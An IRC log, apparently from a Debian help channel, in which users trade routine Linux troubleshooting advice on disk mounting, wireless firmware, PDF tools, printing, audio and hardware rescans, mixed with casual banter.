| 04:37.17 | boudiccas | although it does say in its topic ...... Register with Nickserv to speak in this channel |
| 04:37.37 | Vespakoen | i did that already.. someday... |
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| 04:38.22 | boudiccas | try ...... #httpd |
| 04:38.40 | Vespakoen | That works, thanks! |
| 04:40.14 | Vespakoen | #httpd :Cannot send to channel |
| 04:40.32 | blast_hardcheese | Reading: Not everybody can do it. |
| 04:40.39 | Vespakoen | -NickServ- Vespakoen is already registered. |
| 04:40.45 | Vespakoen | i give up haha |
| 04:41.07 | boudiccas | Vespakoen; it does say in its topic ...... Register with Nickserv to speak in this channel ........... for #httpd |
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| 04:42.07 | Vespakoen | <PROTECTED> |
| 04:42.29 | blast_hardcheese | Vespakoen: If only life were that simple |
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| 04:42.38 | blast_hardcheese | thinking before you do things, that is. |
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| 04:44.26 | ugly_duck | whats up with mounting ntfs drives now days? mount -t ntfs /dev/sdb1 /mnt/usb |
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| 04:45.04 | Vespakoen | Life is the same thing + eating, drinking and making love |
| 04:45.04 | somiaj | ugly_duck: what do you mean? If you use ntfs-3g (with FUSE) you can get full rw support on ntfs, though the default kernel drive may only do read. |
| 04:45.08 | oscurochu | I just installed debian today on my computer, hardly any issues. I am trying to install it onto a second computer. When I plug my wireless card in, dmesg says ,"new high speed wireless device...yadayda" but iwconfig displays no wireless devices. i have installed the firmware-ralink package too, and im not sure what im forgetting to do here. |
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| 04:47.11 | ypnima | when I want to mount my external hard -> http://dpaste.com/571999/ |
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| 04:47.15 | ypnima | can anybody help me? |
| 04:47.44 | oscurochu | man mount |
| 04:47.51 | oscurochu | rtfm |
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| 04:49.29 | boudiccas | ypnima; that seems fairly straightforward, what dont you understand about it? |
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| 04:50.02 | ypnima | boudiccas, I specify filesystem type -> sdb |
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| 04:50.12 | ypnima | boudiccas, sorry I'm new in linux |
| 04:50.29 | ypnima | boudiccas, I created externalhard directory too |
| 04:50.44 | oscurochu | If you type "man command" usually, you'll get a verbose manual page to read, example, "man mount" will tell you what you need to do |
| 04:50.45 | boudiccas | ypnima; that is NOT a filesystem type. a filesystem type is like 'ext3' |
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| 04:51.57 | ypnima | boudiccas, should I use -t switch with mount? |
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| 04:52.24 | boudiccas | ypnima; so what is the external h/d formatted as? ntfs, ext3, fat? |
| 04:52.33 | ypnima | boudiccas, ext4 |
| 04:52.54 | boudiccas | ypnima; what does the fine manual say? |
| 04:53.13 | ypnima | boudiccas, mount -t ext4 /dev/sdb ... |
| 04:53.25 | ypnima | boudiccas, is this correct ^? |
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| 04:53.30 | boudiccas | ypnima; so try it and see |
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| 04:54.24 | ypnima | boudiccas, no medium found on /dev/sdb |
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| 04:54.46 | oscurochu | sdb is a hard disk, specifiy a partition. example, sdb1, sdb2, etc. |
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| 04:55.09 | ypnima | oscurochu, I want mount external hard disk |
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| 04:56.22 | oscurochu | run " sfdisk -l " as root. that will list all your devices. |
| 04:56.24 | ypnima | oscurochu, when I use sdb1 -> mount: special device /dev/sdb1 does not exist |
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| 04:58.40 | ypnima | oscurochu, I have sda1, sda2, sda3 and sda4 <- which one is for my hard external? |
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| 05:00.10 | oscurochu | none of them. |
| 05:00.28 | oscurochu | unplug it, and plug it back in. then run "dmesg | tail" |
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| 05:04.21 | ypnima | oscurochu, I'm very sorry |
| 05:04.31 | ypnima | oscurochu, but how can I uplug it and ...? |
| 05:05.14 | oscurochu | it is a usb powered external hard drive? Unplug it. Then plug it back in. |
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| 05:18.22 | karlpinc_ | I'm guessing that ntpd sends packets once a connection is available when you use iburst, but that's not what the docs say. "iburst When the server is unreachable, send a burst of eight packets ..." What sort of sense is there in sending packets to someplace unreachable? |
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| 05:23.38 | yagoo | karlpinc_, maybe update ntp pool table? |
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| 05:28.24 | wols | I'm trying to convert a pdf to html (or text if that's not possible) |
| 05:28.53 | yagoo | wols, you're definitely loose some elements depending how rich that pdf is |
| 05:29.07 | ypnima | what's the difference between upgrade and dist-upgrade in apt-get command? |
| 05:29.10 | wols | usually I'm using pdftohtml for that but this time I get an error: Error: Illegal entry in bfrange block in ToUnicode CMap lots of those and the resulting html is utter gibberish |
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| 05:29.30 | wols | ypnima: "upgrade" doesn't remove or install new packages if needed due to dependencies |
| 05:30.04 | yagoo | wols, is the pdf protected? |
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| 05:30.29 | ypnima | wols, is upgrade safer? |
| 05:30.36 | wols | no. it displays in pdf viewers just fine. it's the connection overview from my mobile provider |
| 05:30.46 | yagoo | huh? |
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| 05:31.00 | yagoo | mobile provider? wtf does this have to do with your pdf? lol |
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| 05:31.49 | wols | my mobile provider gives me a pdf which lists all connections I made last month. it displays just fine in any viewer, probably generated by some java program serverside: it's only 30kB |
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| 05:32.50 | wols | but pdftohtml can't convert it. according to BTS this error comes from libpoppler but was fixed already (I'm running sid) |
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| 05:36.37 | oscurochu | ypnima: "man apt-get" or "man aptitude" will answer all your questions |
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| 05:43.22 | ypnima | how can I use keyboard instead of mouse in debian? |
| 05:44.34 | wols | use it where? |
| 05:44.42 | wols | and use it for whatß |
| 05:44.44 | ypnima | wolf, gnome |
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| 05:45.17 | ypnima | wols, mouse is conntected to imac wireless |
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| 05:45.48 | ypnima | wols, I have usb keyboard now, but I don't have any usb mouse |
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| 05:46.12 | ypnima | wols, how can I use keyboard as mouse? |
| 05:47.11 | ypnima | wols, for setup wireless mouse and ... |
| 05:47.19 | wols | a keyboad is no mouse, you can't. all you can do is use keyboard shortcuts like a tab key to move to the next GUI Element |
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| 05:47.44 | wols | how is this wireless mouse connected? Bliuetooth, proprietary receiver, how? |
| 05:47.45 | sterna | ypnima: ctrl-shift-numlock |
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| 05:48.07 | sterna | and use the keypad to move and click |
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| 05:49.02 | ypnima | sterna, it doesn't work |
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| 05:54.45 | nevyn | sterna: it got deprecated. |
| 05:54.51 | nevyn | which annoyed me too. |
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| 05:58.56 | wols | I need a converter from pdf to html. does such a beast exist? I just found out that there is no "pdftohtml" anymore in debian :( |
| 05:59.12 | wols | a converter usable in a script or from commandline that is |
| 06:00.36 | mjmt | wols: poppler-utils has a pdftohtml |
| 06:00.49 | wols | thanks |
| 06:01.01 | sterna | oh |
| 06:01.07 | sterna | sorry, still works for me |
| 06:01.15 | sterna | i guess kde does it instead of just X |
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| 06:02.31 | yagoo | wols, the perl people have something i'm sure |
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| 06:04.27 | oscurochu | my wireless card is not working. I run "iwconfig wlan0 essid XXXXX" and when i check dmesg, it says wlan deauthenticating from XXX by local choice reason=3 |
| 06:04.50 | wols | oscurochu: has it worked before? |
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| 06:05.53 | oscurochu | wols: yes, it works on windows, anyway. |
| 06:06.03 | oscurochu | rt2800 chipset. |
| 06:06.56 | wols | has it eve worked in your debian installation before? |
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| 06:07.12 | oscurochu | first time debian user. |
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| 06:07.14 | oscurochu | so no |
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| 06:09.48 | TimmyT | im going to make a multiseat. here i see an example of xorg.conf : http://pastebin.com/YeCsnmhy . in the device section where BusID is defined is written PCI:1:0:0 and somewhere else PCI 0:2:0 . How can I find out this configurations on my own system? i've an onboard graphic card and a PCI Express one |
| 06:11.05 | wols | !tell oscurochu about ralink |
| 06:11.17 | wols | oscurochu: most likely you are missing the needed firmware for your card |
| 06:11.34 | wols | TimmyT: lspci |
| 06:14.52 | TimmyT | wols: i did, it shows them like this: 01:00.0 . but that one is look like this: 1:0:0 . i mean that is separated with with 1 one colon and one dot but this one is separated with two colons, what the differences it makes? |
| 06:15.18 | wols | nothing |
| 06:15.52 | TimmyT | wols: so how should i use that? i mean i should write 01:00.0 like 1:0:0 ? |
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| 06:17.32 | ProGenY | hi everyone quick question ... have a vps that is preinstalled with debian and plesk is there a way to remove plesk since apt-get remove psa does not work |
| 06:17.41 | TimmyT | wols: sorry for anoying, but if u just answer this, i'll promise it'll be the latest silly one |
| 06:18.46 | wols | TimmyT: yes |
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| 06:19.09 | wols | !tell ProGenY about bat |
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| 06:22.06 | capri | is there a command in debian like systeminfo? output something like: cpu's, used space, hostname etc. |
| 06:22.23 | wols | !lshw |
| 06:22.29 | Kharec | lshw |
| 06:22.34 | wols | capri: use lshw |
| 06:22.39 | tomcheng76 | ProGenY: is it better to stop psa in /etc/init.d ? |
| 06:23.32 | capri | thx |
| 06:24.28 | ProGenY | tomcheng76: i tried there is no instance of psa runing that is y i am getting confised |
| 06:24.32 | ProGenY | confused* |
| 06:24.45 | ProGenY | wols: http://pastebin.com/KTL50d4Z |
| 06:25.31 | ProGenY | all im trying to do is put a index file on /var/www/ and browse it it wont let me since plesk takes over |
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| 06:27.04 | wols | ProGenY: do you see/find any plesk file which is not a config file of plesk? |
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| 06:27.40 | wols | cause it seems you have uninstalled plesk, so no more problem |
| 06:27.53 | ProGenY | i see a bunch |
| 06:28.04 | cyberbob | is the hardware support of Linux mint 11 and linux mint debian same >? |
| 06:28.13 | ProGenY | even when i brows to my ip http://ip i get the plesk welcome page |
| 06:28.15 | wols | if you find a binary or lib or pp file or whatever: dpkg -S <full path to pleskfile> |
| 06:28.43 | wols | tho, if it wasn't installed via dpkg, then we can't really help you |
| 06:28.53 | wols | then you'd have to ask the plesk folks how to uninstall it |
| 06:28.57 | ProGenY | is there a way i can search the entire box for those files |
| 06:29.23 | ProGenY | i dont think it did install from dpkg |
| 06:29.28 | ProGenY | i think they use the psa-qutoinstaller |
| 06:29.42 | ProGenY | grrr what hapend to get a barebone vps and do what u want with it :( |
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| 06:30.04 | wols | reinstall debian. debootstrap :) |
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| 06:45.51 | swilson06 | what's the gnu assembler called under debian? |
| 06:46.07 | swilson06 | i install binutils and i don't have a arm-elf-as and *-ld and such |
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| 06:47.43 | timo | swilson06: as? |
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| 06:48.03 | student | can someone tell me this theme and the plugin that he's using? http://www.youtube.com/watch?v=pHGVp1COTW0 |
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| 06:48.42 | swilson06 | timo: what are you asking? |
| 06:48.56 | yagoo | student, why not email the utuber? |
| 06:48.58 | timo | swilson06: do you mean '/usr/bin/as'? |
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| 06:49.10 | student | hmmm |
| 06:49.11 | student | true |
| 06:49.16 | student | but do u guys know? |
| 06:49.25 | swilson06 | oh, it makes an assembler object file |
| 06:49.40 | swilson06 | err, an arm assembly object file |
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| 06:50.36 | swilson06 | oh, huh AS - the portable GNU assembler |
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| 06:51.06 | swilson06 | wonder if this does arm assembly... |
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| 06:52.54 | timo | swilson06: as far as I can tell from the man page, it does, but then I don't know anything about assembling |
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| 06:53.15 | swilson06 | timo: yeah, thanks |
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| 06:54.04 | swilson06 | i'll either figure this out or learn nasm syntax. see, everyone has it as one command: http://www.cse.unsw.edu.au/~cs3221/labs/assembler-intro.pdf |
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| 06:59.12 | oo_miguel | any ideas what packages I neeed in order to use gnustep in objective-c? |
| 06:59.22 | oo_miguel | aptitude install gnustep is enough? |
| 06:59.33 | oo_miguel | because I can not find the headers/libraries |
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| 07:01.20 | oo_miguel | hmm ,maybe I need: libgnustep-base-dev |
| 07:01.55 | swilson06 | apt-cache search gnustep ? |
| 07:02.06 | swilson06 | apt-cache show <package> |
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| 07:02.45 | oo_miguel | swilson06: I know this 2 commands, but they do not help me to find a specific file ... |
| 07:02.46 | swilson06 | and then i think there's an apt-file parameter to show the files in a package before you install it |
| 07:02.57 | oo_miguel | what i need is NSObject.h |
| 07:02.58 | swilson06 | oh well ^^ |
| 07:03.11 | oo_miguel | but i used packages.debian.org now |
| 07:03.18 | oo_miguel | ahoook |
| 07:03.23 | oo_miguel | never used apt-file |
| 07:03.29 | oo_miguel | will have a look ,thx |
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| 07:04.12 | swilson06 | hth. my mind is on a whole nother level :) |
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| 07:06.26 | oo_miguel | hooray, everything works now, thx |
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| 07:07.24 | swilson06 | what's the apt-file switch? (never remember) |
| 07:08.20 | oo_miguel | ah i didn't use apt-file at all. just found the requiured package via packages.debian.org |
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| 07:09.23 | swilson06 | ah, yeah. but, that's a pita :) |
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| 07:15.39 | swilson06 | oo_miguel: for next time - this is better. took a 30 second break from assembly stuff: apt-file search NSObject.h |
| 07:15.39 | swilson06 | gnustep-base-doc: /usr/share/GNUstep/Documentation/Developer/Base/Reference/NSObject.html |
| 07:15.39 | swilson06 | libgnustep-base-dev: /usr/include/GNUstep/Foundation/NSObject.h |
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| 07:16.27 | swilson06 | and like i said, searching through the packages site sucks :) |
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| 07:19.16 | fleischergesell | Well, it would be very nice to enhance the site search to make it search for filenames and filecontents, too. |
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| 07:19.55 | fleischergesell | But since the packages site is very slow anyway, that will probably make it unusable. |
| 07:20.02 | pengwyn | fleischergesell- mc does that nice when your IN the file |
| 07:20.24 | pengwyn | grep can do it |
| 07:20.48 | pengwyn | through the file, with mc to drill down to what you need. |
| 07:20.59 | fleischergesell | grep can do what? search the packages site? |
| 07:21.20 | pengwyn | Oh I missed that part. but yeah grep does the package |
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| 07:21.50 | pengwyn | so the site needs to grep the packages and sort / filter the way you want |
| 07:22.15 | pengwyn | find the path, extract the path, extract the file |
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| 07:22.44 | pengwyn | there's more than one package site too as you well know |
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| 07:22.45 | Aaron_ | i have compiz install everything works fine but i do not have any buttons like minimize and the close button |
| 07:22.52 | fleischergesell | Oh, I just saw that there is path search implemented already: http://packages.debian.org/file:Pfad |
| 07:23.09 | pengwyn | pin used to do it for SuSE |
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| 07:23.35 | pengwyn | grind down to the file level |
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| 07:23.47 | pengwyn | I shuddup now |
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| 07:29.03 | swilson06 | i don't really think it necessary to have the site do much since the command line works well enough |
| 07:29.32 | swilson06 | besides, it takes a second to return the results so it wouldn't be a direct port |
| 07:30.00 | pengwyn | wget -O target | md5sum |
| 07:30.05 | swilson06 | you'd have to shove everything into a nosql db and query that |
| 07:30.42 | pengwyn | Oh I forgot the > /dev/null |
| 07:31.13 | swilson06 | to do what exactly? |
| 07:31.21 | pengwyn | see if a file changes |
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| 07:31.43 | Aaron_ | <PROTECTED> |
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| 07:34.30 | Aaron_ | any help? |
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| 07:35.35 | swilson06 | never used compiz.... probably a channel or mailing list for it though... |
| 07:35.44 | pengwyn | That's the was it works no tray |
| 07:35.50 | pengwyn | was = way |
| 07:35.51 | Aaron_ | lol |
| 07:35.54 | pengwyn | I mean |
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| 07:36.07 | pengwyn | wget -O /dev/null -O - ftp.suse.com | md5sum for example |
| 07:36.29 | Aaron_ | crap |
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| 07:38.24 | pengwyn | Aaron_- Roll back to Gnome 2 if it messes your productivity. There's no law says you got to use Gnome 3 |
| 07:39.23 | pengwyn | Aaron_- There's also some tray's. heh |
| 07:39.44 | Aaron_ | yeah i was using gnome 3 in arch |
| 07:39.49 | Aaron_ | how can u use gnome 3 in debian? |
| 07:40.11 | pengwyn | Just select it and install |
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| 07:40.19 | Aaron_ | how? |
| 07:40.24 | pengwyn | synaptic can do it, apt-get can do it |
| 07:40.35 | Aaron_ | E: Unable to locate package gnome3 |
| 07:40.40 | pengwyn | ahhh |
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| 07:41.00 | pengwyn | you need apt-sourcese |
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| 07:41.25 | Aaron_ | and what are they? |
| 07:42.06 | pengwyn | uh.... |
| 07:42.21 | pengwyn | I'll look |
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| 07:47.14 | oscurochu | wols: I have the firmware installed. (sorry for late response) |
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| 07:53.46 | pengwyn | Aaron_- /msg dpkg gnome 3 has some info, but also http://raphaelhertzog.com/2011/06/16/installing-gnome-3-on-debian-6-0-squeeze-no-sorry/ (I like this way the best, whatever I did didn't follow any rules, but you might consider that if you hate having no tray not to use gnome 3) |
| 07:55.09 | pengwyn | Aaron_- (MY honest answer) |
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| 08:02.32 | pengwyn | Aaron_- for the record I also have a Gnome 3 Live disc |
| 08:03.36 | pengwyn | URL http://gnome3.org/tryit.html |
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| 08:25.27 | aminpy | how can I kill synaptic process |
| 08:25.47 | pengwyn | killall -9 synaptic |
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| 08:26.16 | aminpy | pengwyn, no process found |
| 08:26.24 | pengwyn | then she's done |
| 08:26.32 | pengwyn | got another one? |
| 08:27.29 | pengwyn | ps aux | grep synaptic |
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| 08:38.16 | zamba | i'm trying to get bonding to work on debian squeeze, but experiencing problems |
| 08:38.38 | zamba | and whatever howto i check, they say something different.. what's the best approach to enabling ethernet bonding on debian squeeze? |
| 08:39.18 | rozie | zamba: haven't tested this one yet, but looks reasonable http://www.linuxhorizon.ro/bonding.html |
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| 08:40.27 | rozie | btw there so many option and possible problems, that it's hard to tell if it's linux fault or network equipment fault (or maybe just misconfiguration) |
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| 08:44.16 | zamba | rozie: yeah, that works, but i want to put it into configuration files debian style |
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| 08:47.14 | rozie | http://wiki.debian.org/Bonding ? |
| 08:48.15 | pengwyn | imagine bonding a satellite connection to a modem dialup ;o) |
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| 08:48.51 | pengwyn | one does the dns, ping, uploads (modem) the other does the grunt work bit moving / speed |
| 08:49.33 | rozie | i does not work on this level |
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| 08:49.59 | pengwyn | I know rozie, just commenting |
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| 09:10.34 | wfq | hi guys |
| 09:10.50 | wfq | I can print from my browser but not from my pdf |
| 09:11.03 | wfq | *pdf reader |
| 09:11.15 | streuner_ | cups? |
| 09:11.21 | pengwyn | print | setup ? |
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| 09:12.01 | wfq | I am not using cups as far as I know |
| 09:12.04 | pengwyn | (Mine was on your Application not the command line ;o)_ |
| 09:12.04 | julian_ | hello, can someone advise me on how to get gnash to use pulseaudio? |
| 09:12.21 | streuner_ | wfq: if you dont know, its CUPS then |
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| 09:12.54 | wfq | streuner, well I have cups installed but I did not add any printer |
| 09:13.14 | wfq | I just was able to see the printers on the network by going to the print menu item |
| 09:13.15 | streuner_ | its all magic then :-) |
| 09:13.16 | fenugreek | wfq: what printer, what pdf reader |
| 09:13.31 | wfq | acroreader |
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| 09:13.43 | wfq | printers are not a problem at all as I can do int from my browser |
| 09:13.48 | wfq | *it |
| 09:14.04 | pengwyn | don't acroread have a print setup? |
| 09:14.05 | zamba | rozie: followed that example as well, does not work |
| 09:14.05 | wfq | I can guess it is something to do with /etc/group |
| 09:14.13 | wfq | yes, it does |
| 09:14.29 | wfq | but it keeps saying that the printer returned an error |
| 09:14.35 | streuner_ | acroread has, of course, a print setup, but its not doing the job of cups :-) |
| 09:14.37 | wfq | when I try to do the same in the browser, no problem at all |
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| 09:15.11 | streuner_ | acroread needs cups-bsd |
| 09:15.18 | pengwyn | Print to hrml and load in browser? j/k |
| 09:15.38 | pengwyn | sorry it's late and my eyes hurt |
| 09:16.09 | oscurochu | I'm not sure if this is allowed, but I came across this and thought hopefully everybody here would find the humor in it: The subject is, "How to hack a computer," http://www.youtube.com/watch?v=Bj7LfR5Ee2c |
| 09:16.44 | wfq | definitely |
| 09:16.54 | wfq | that was the error streuner_ |
| 09:17.02 | wfq | just installed it and restart cups and everything worked ok |
| 09:17.48 | pengwyn | oscurochu- Should be how to "Ping Google" ? |
| 09:18.40 | wfq | streuner_ thanks |
| 09:18.44 | streuner_ | np |
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| 09:19.45 | pengwyn | cups rocks - IMO I didn't like it when it first came out |
| 09:20.02 | pengwyn | another service to disable |
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| 09:20.12 | pengwyn | but now it actually works |
| 09:20.16 | oscurochu | The kid has a wierd sense of humor. If you see the rest of his videos, you would understand it a little more. He has one video of a porn playing in the background, and him playing guitar. lmao and another video on how to put psp games on your ipod (literally putting a physical psp game on top of an ipod). |
| 09:20.25 | Benkinooby | anyone of has some experience with pdf annotations? afaik only adobe reader supports it (xjournal and okular use separate files for the annotations - not useable for other (Windows) users) prpoerly. is there a open souce pdf viewer with "proper" annotation supprt? |
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| 09:21.32 | fenugreek | Benkinooby: there are some that run fine in Wine |
| 09:21.34 | pengwyn | oscurochu- I hear ya, lately I am getting that way with VM windows and OS's. |
| 09:21.35 | fenugreek | I forget the names |
| 09:21.47 | ayambit | foxit reader anyone |
| 09:21.56 | Benkinooby | too bad.. bug google will do... at least there is hope :) |
| 09:22.22 | pengwyn | pdf annotations? Does that mean edits? |
| 09:22.49 | ayambit | You shouldn't use pdf in linux, it's not unix way. One should convert pdf to txt and edit this txt in vim! |
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| 09:23.11 | fenugreek | shouldn't use PDF anywhere IMO |
| 09:23.25 | fenugreek | Benkinooby: you could also do Inkscape |
| 09:23.26 | fenugreek | and |
| 09:23.36 | fenugreek | pdftk can merge two files (layering them on z-axis |
| 09:23.39 | fenugreek | ...) |
| 09:23.53 | ayambit | fenugreek: actually pdf is not that bad. On ipad it's definitely good. |
| 09:23.54 | pengwyn | https://www.fillanypdf.com/ This is the cat's meow that I use!!! |
| 09:23.55 | fenugreek | which is what most annotation software does |
| 09:24.04 | fenugreek | ayambit: ipad hasn't anything to do with it |
| 09:24.08 | fenugreek | pengwyn: for doing what? |
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| 09:24.33 | ayambit | fenugreek: soft on ipad for reading it is good, yes. |
| 09:24.39 | pengwyn | oh wait... Wrong one.. cruft sory |
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| 09:25.36 | Benkinooby | fenugreek, inkscape won'T show annotations... |
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| 09:26.41 | TimmyT1 | how to configure wu-ftpd. where is config file?> |
| 09:26.44 | Benkinooby | what i want: read the annotations made with an adobe reader... without installing adobe if possible |
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| 09:27.28 | Benkinooby | so fra, foxit & wine look best to me |
| 09:27.53 | oscurochu | When I run xrandr, it tells me my maximum screen resolution is 1024x768. Earlier today, I somehow managed to get it to support 13XXx768, but my monitor can only support 1280x768. I've tried playing with Xorg settings to set my custom resolution, but it says the resolution is not supported in the Xorg log files, and 1024x768 is instead displayed. In the past, on gentoo, arch, ubuntu, and a few other distros, I've been able to get higher res |
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| 09:28.49 | streuner_ | TimmyT1: config files usually lives in /etc, but i have no idea about wu-ftpd |
| 09:28.58 | capri | anyon knows how to do a device rescan? i added hotplugged another disk to my debian vm, but i cant use or find it in the system |
| 09:29.08 | fenugreek | ayambit: hopeless |
| 09:29.10 | lapsusbrutus | hi people, Im going to try and set up a debian box to auth users using an ldap server i have got access to, anyone knows if this is an easy task and where to start looking? |
| 09:29.33 | pengwyn | I don't do annotations, I do editing of the PDF, the link I gave lets you edit inside the PDF form then save it. It's cool where you might look like crap manually printing information on a form, but printed would look better. |
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| 09:30.11 | streuner_ | you are able to modify pdfs via gimp |
| 09:30.11 | ayambit | fenugreek: I like to annotate it. Cant do so with html, maybe didn't find right prog. |
| 09:30.18 | pengwyn | Look like crap "PRINTING by hand with a pencil or pen" on a "printed form" |
| 09:30.32 | pengwyn | man I explain things like crap |
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| 09:30.36 | streuner_ | just import it and save it as jpg and make a new pdf of it |
| 09:30.37 | jelly | capri: echo "0 0 0" | sudo tee /sys/class/scsi_host/host?/scan (you may replace usage of sudo with some other way of running that tee as root) |
| 09:30.58 | capri | jelly thanks a lot |
| 09:31.03 | jelly | capri: inspect dmesg before and after for changes |
| 09:31.11 | ayambit | don't |
| 09:31.19 | ayambit | this will rm your / |
| 09:31.27 | capri | ? |
| 09:31.38 | ayambit | joking |
| 09:31.42 | julian_ | hello, do I need pulseaudio to run multiple sound apps at once? |
| 09:31.51 | jelly | ayambit: don't |
| 09:31.55 | ayambit | no you don't. alsa works fine. |
| 09:32.10 | pengwyn | I bet if +Fravia was around still he might one day teach us to HEX EDIT a pdf file |
| 09:32.17 | streuner_ | ayambit: what did you smoke today? |
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| 09:33.01 | ayambit | streuner_: I've caught cold. |
| 09:33.17 | Benkinooby | ok, that's it... im going for adobe reader :( |
| 09:33.37 | julian_ | ayambit, are you sure? because with only alsa I can only run one app at a time. |
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| 09:34.31 | streuner_ | dpkg, dmix |
| 09:34.31 | dpkg | dmix is an <ALSA> subsystem which allows an audio device to play multiple sound streams simultaneously without the need for an external sound server. See http://alsa.opensrc.org/Dmix for more information. A sample asound.conf is at http://img.hexus.net/v2/features/foss/a3/images/asound.conf |
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| 09:34.56 | pengwyn | streuner_- Just Today? Caddilac Purp, Chem 91 |
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| 09:36.08 | ayambit | I really don't know if pulseaudio is that bad as people on Slashdot say . Is it? |
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| 09:36.42 | pengwyn | ayambit- I can't comment, cause I don't know the two things you want, pulseaudio and something else |
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| 09:37.27 | ayambit | pengwyn: I don't want another thing, I want to know if pulseaudio by itself is godawful. |
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| 09:38.11 | pengwyn | ayambit- everything has a purpose |
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| 09:38.23 | julian_ | well to be honest stuff just worked (multiple audio streams) with lenny, with squeeze I have to use pulseaudio otherwise it locks up the other apps. |
| 09:38.41 | pengwyn | I use sony vegas to edit a flood of video, but I use other things to do other stuff |
| 09:39.02 | julian_ | and i never had a /etc/asound.conf file with lenny. |
| 09:39.02 | pengwyn | kino can dump miniDV |
| 09:39.04 | ayambit | pengwyn: but purpose of some thing are to demonstrate how one shoudn't do things. |
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| 09:39.25 | pengwyn | ayambit- but my whole philosophy is use what works |
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| 09:40.06 | ayambit | Some things work good, some work, yes, but |
| 09:40.33 | pengwyn | I guess what I am saying is FSCK /. think for yourself |
| 09:40.54 | pengwyn | Give /. Love if you want, when your lit |
| 09:41.10 | pengwyn | Get it? |
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| 09:41.47 | d3c | how may I get cron to run in UTC time? |
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| 09:42.25 | pengwyn | d3c with a LARGE HAMMER .. j/k I can't tell ya cause I seen NEW timezones |
| 09:42.40 | pengwyn | pick the correct timezone |
| 09:42.46 | pengwyn | that's my advice |
| 09:42.51 | capri | jelly i tried you command but that wont work |
| 09:42.59 | streuner_ | d3c: /msg dpkg tzconfig |
| 09:43.17 | pengwyn | or yeah dpkg tzconfig --reconfigure |
| 09:43.26 | pengwyn | or whatever it is was |
| 09:43.34 | jelly | capri: does it return exit code 0 or something else? |
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| 09:43.56 | pengwyn | aptitude --reconfigure tzwhatever |
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| 09:44.19 | julian_ | well I don't get why I can run multiple audio streams with ALSA, when it should work. |
| 09:44.22 | ayambit | pengwyn: no, i don't understand actually |
| 09:44.35 | capri | jelly your command returns 0 0 0 as expacted and dmesg found only the old device |
| 09:44.36 | capri | s |
| 09:44.39 | julian_ | I think the onboard sound is broken perhaps. |
| 09:44.41 | d3c | pengwyn: so you're suggesting I (re)set the system time zone to UTC? |
| 09:44.46 | capri | but i reboot the system everthink would be fine |
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| 09:44.58 | capri | but it should be going online on the fly |
| 09:45.07 | julian_ | capri, what? |
| 09:45.17 | jelly | capri: I don't mean that output, echo $? shows the return code when run right after the comman |
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| 09:45.29 | capri | <capri> anyon knows how to do a device rescan? i added hotplugged another disk to my debian vm, but i cant use or find it in the system |
| 09:45.39 | capri | ok sorry mom |
| 09:45.42 | streuner_ | d3c: yes, or you let the system use your TZ and modify the cron job so it uses UTC |
| 09:45.54 | julian_ | capri, SATA? |
| 09:46.03 | jelly | capri: pastebin your dmesg or /var/log/kern.log |
| 09:46.07 | streuner_ | d3c: minus or add the difference to yours? |
| 09:46.08 | capri | hotplugg scsi yes |
| 09:46.16 | capri | jelly it retunrs 0 -so its fin |
| 09:46.18 | capri | ok mom |
| 09:46.47 | jelly | there's no need to be cheeky |
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| 09:47.05 | d3c | streuner_: yeah could minus/add diff but I thought there might be some universal way to run cron jobs in UTC time on a server with another TZ |
| 09:47.33 | julian_ | scsi != sata |
| 09:47.34 | capri | jelly http://pastebin.com/GDUWPZtT |
| 09:47.58 | capri | but i cant choos sata at kvm |
| 09:48.03 | jelly | julian_: same APIs when looking from userspace |
| 09:48.10 | pengwyn | d3c sorry I was afk . NO don't do anything I say |
| 09:48.38 | julian_ | jelly, some mb don't support hotpluging SATA. |
| 09:48.43 | pengwyn | Do a CLONE BACKUP of your DRIVE then do what I say |
| 09:48.48 | jelly | julian_: it's a VM |
| 09:48.52 | julian_ | oh |
| 09:48.56 | pengwyn | if you can't roll back, don't PLAY |
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| 09:49.27 | pengwyn | But I am saying NO that last thing I said . Whatever it was . don't do it until I Can scroll back |
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| 09:49.41 | capri | right its a vm :) |
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| 09:49.49 | pengwyn | try to figure out your context |
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| 09:50.20 | jelly | capri: I don't see any proper scsi controllers in there, just ata_piix |
| 09:50.29 | pengwyn | I think the problem I have is my Cron runs in UTC |
| 09:50.33 | pengwyn | heh |
| 09:50.38 | pengwyn | maybe huh? |
| 09:50.52 | jelly | capri: that is, "onboard ATA". I really might not support hotplugging. |
| 09:50.59 | jelly | s/I/it/ |
| 09:51.00 | pengwyn | won't that be funny if d3c nailed my ass |
| 09:51.25 | d3c | lol |
| 09:51.31 | capri | jelly: mhpf sure i take a look if i could configure a "emulated" scsi controller :) |
| 09:51.36 | capri | jelly: my fault thanks a lot :) |
| 09:51.48 | pengwyn | Give d3c a round ! d3c earned it |
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| 09:52.04 | jelly | capri: that would likely work better. Check the docs for kvm of whatever you're using |
| 09:52.16 | capri | jelly: sure i would do |
| 09:52.18 | pengwyn | I got to say with the new time dates I seen lately I ain't sure what is up |
| 09:52.52 | pengwyn | LosAngeles-NEW or what was it now |
| 09:53.04 | pengwyn | there's some weird new TZ's |
| 09:53.16 | pengwyn | some OS have em, some dont |
| 09:53.42 | pengwyn | Sacramento-BETA lol |
| 09:53.48 | pengwyn | there ya go |
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| 09:54.21 | pengwyn | holy crap, I Have to copy my OLD files over the NEw OneZ |
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| 09:57.12 | pengwyn | XP | PRO | CLONED"ED"ED version is my newest VM |
| 09:57.20 | pengwyn | haha |
| 09:57.55 | pengwyn | I only wish it was well straight up on the hardware, and I will just turn it that way soon |
| 09:59.55 | lancelot_of | hi all. About my previous trouble with intel driver in wheezy for my HD3000 i found just a workaround, uninstalling xserver-xorg-video-intel and making vesa driver configuring xorg. Now X doesn't crashes or freezes my machine anymore, but i think it should be improve intel driver efficiency solving the bug. The git version from http://intellinuxgraphics.org/ does not solve, 'cause it's the same version of wheezy driver. |
| 10:00.10 | pengwyn | How shameless that win98SE runs on virtual box in 640 x without that russian dudes driver lol |
| 10:00.50 | pengwyn | The only problem I have is moving stacks of equipment out of the way to get to the win98SE disk lol |
| 10:01.20 | pengwyn | that one disk will light it all up |
| 10:02.03 | pengwyn | that's the thing I don't come here with a problem |
| 10:02.22 | pengwyn | I come here to try to help you not blow up with your own problem |
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| 10:02.48 | pengwyn | LOVE DEB |
| 10:03.02 | pengwyn | 's |
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| 10:03.31 | fenugreek | love deb's what? |
| 10:03.34 | fenugreek | husband? |
| 10:03.48 | pengwyn | My favorite fscking distro, not lesbian linux, but debian |
| 10:03.54 | fenugreek | awe divorced |
| 10:03.56 | fenugreek | ex-husband |
| 10:03.57 | pengwyn | lol |
| 10:04.04 | pengwyn | what |
